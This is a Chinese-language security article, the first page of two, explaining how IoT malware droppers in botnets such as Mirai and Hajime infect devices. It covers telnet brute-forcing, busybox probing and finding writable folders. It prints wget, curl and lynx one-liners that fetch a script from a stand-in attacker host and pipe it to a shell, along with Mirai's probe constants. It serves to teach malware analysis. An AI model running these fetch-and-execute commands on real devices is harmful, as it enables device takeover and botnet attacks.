欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

以Mirai僵尸网络为例,浅析IoT恶意软件dropper

来源:本站整理 作者:佚名 时间:2017-05-28 TAG: 我要投稿

IoT恶意软件概述
IoT恶意软件即针对智能设备等物联网嵌入式设备的恶意程序。最近一段时间以IoT设备为肉鸡的僵尸网络变得越来越流行。Mirai、Hajime、LuaBot等IoT僵尸网络的出现不断蚕食着互联网,一次又一次给用户敲响警钟,告诉我们IoT安全的重要性。这些恶意软件通过入侵路由器、调制解调器(“猫”)、智能摄像头等其他连接在互联网上的IoT嵌入式设备,进而对目标网络发起DDOS攻击。
总的来说,恶意软件的感染过程没什么特别的。很多IoT恶意软件甚至不需要利用漏洞即可完成对目标设备的入侵。由于用户安全意识薄弱,购置部署智能设备后往往采用默认配置,即可能存在弱口令、空口令等安全问题。在这种情况下,感染这些IoT设备只要做一件事就好了,即使用一些常用的密码暴力破解telnet服务,直到登录成功为止。
通常来说,攻击者通过入侵telnet服务,往往可以拿到一个低权限的shell(译者注:这里所说的低权限应该是指多数只能设备采用一个阉割版的busybox提供交互式shell,仅能执行有限的命令)。
安全客小百科:Mirai僵尸网络
2016年10月21日 11:10 UTC(北京时间19:10左右)Mirai僵尸网络对美国域名服务供应商Dyn发起DDOS攻击,导致美国东海岸地区许多网站宕机。你可能没有听说Dyn,但你一定知道这些网站,如GitHub、Twitter、PayPal等。Dyn为这些著名网站提供基础的DNS服务,当其受到攻击时,用户无法通过域名访问这些站点。 Mirai僵尸网络即利用某款智能摄像头的漏洞入侵了大量的摄像头,利用这些摄像头进而发起DDOS攻击。
dropper是什么?
dropper的主要功能:
攻击者对存在漏洞的设备进行扫描(通过暴力破解等方式拿到智能设备root权限的shell)
攻击者通过登录telnet服务获得一个root权限的shell,尝试在该设备上安装恶意软件。
恶意软件执行,完成对目标设备的入侵。
在目标设备中下载安装恶意程序的脚本通常被叫做dropper。因为这段代码可以通过一些手段把恶意软件释放(drop)到设备上。
依托于目标设备上可用的工具,dropper的实现很简单,仅需几行代码,像下面这样:
wget -q http://evil-hax0r.com/m.sh -O - | sh
curl -s http://evil-hax0r.com/m.sh | sh
lynx -dump http://evil-hax0r.com/m.sh | sh
或者还可以需要通过已经建立的会话来进行文件的传输。在某种意义上,dropper类似于“Rubber Ducky”。只要提供一个交互式的终端,我们可以向服务端(即目标IoT设备)发送命令。
详细分析dropper
dropper的主要目的是在IoT设备上安装恶意软件并执行。这听起来很容易,但通常来讲需要以下几个步骤完成这件事。
首先,在目标设备中找到一个具有可写和可执行权限的文件夹。通常来讲,/tmp文件夹一般会满足以上两个条件(可写、可执行),但是出于保险起见我们最好还是先测试一下。
第二,摸清楚目标设备的架构,以便可以释放正确的二进制文件。为了增加在互联网上的传播机会,针对嵌入式设备的恶意软件通常支持多种架构。你可能会遇到一些ARM架构,MIPS 32位、64架构的处理器。
最后,dropper必须设法将该恶意文件传输到嵌入式设备中并运行。
注意:复杂的dropper还有更多的功能。如,检查机器是否已经被感染,移除其他的恶意软件,检查是否在调试环境中(虚拟机、沙盒等)。
对于初次接触这方面的人来说,我们只需关注基础部分就好了。
那么我们就跟着这些步骤一步一步的去研究吧,再此之前我们还要做一些准备工作。
解析命令
攻击者运行一个程序,感染远程的嵌入式设备。这个程序与远程嵌入式设备的telnet服务建立socket连接,通过socket连接发送和接收数据。通过socket传输的数据就是我们手动连接设备键入的内容。
为了便于后续操作,收集执行命令后回显的信息是非常有必要的。
许多恶意软件采用的方式是输入不存在的busybox命令记录每一个回显的值。你将看到如下命令:

nc; wget; /bin/busybox RANDOM_TAG
恶意软件Hajime使用上面的命令来检查当前busybox是否具有nc和wget命令。对于不存在的命令,busybox将返回以下内容。

COMMAND: applet not found
这样的话,上一个命令将产生以下回显结果:
nc: applet not found
wget: applet not found
RANDOM_TAG: applet not found
这意味着nc和wget命令在该设备中是不存在的。
找到一个合适的文件夹
如上所述,第一步,dropper首先要在在嵌入式设备中找到一个具有读写权限的文件夹释放(drop)文件。
通常的做法是看执行cat /proc/mounts命令,输出的内容中是否包含字符串rw。(你可以在Linux系统中执行这个命令测试一下)。
需要注意的是,绝大多数的嵌入式设备都不支持grep命令,因此cat /proc/mounts | grep rw命令不能正常工作。相反dropper将读取cat命令的完整输出,然后从中寻找rw字符串。
Mirai和Hajime采用这种方式寻找合适的文件夹存储和运行文件。我们来看看Mirai执行的命令。
https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/server.c#L338

你看到圈出的这行后面的TOKEN_QUERY了吗?你可以在https://github.com/jgamblin/Mirai-Source-Code/blob/master/loader/src/headers/includes.h找到该文件预定义的内容,如下图所示。
#define TOKEN_QUERY     "/bin/busybox ECCHI"
#define TOKEN_RESPONSE  "ECCHI: applet not found"
现在我们已经知道TOKEN_QUERY就是"/bin/busybox ECCHI"。

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载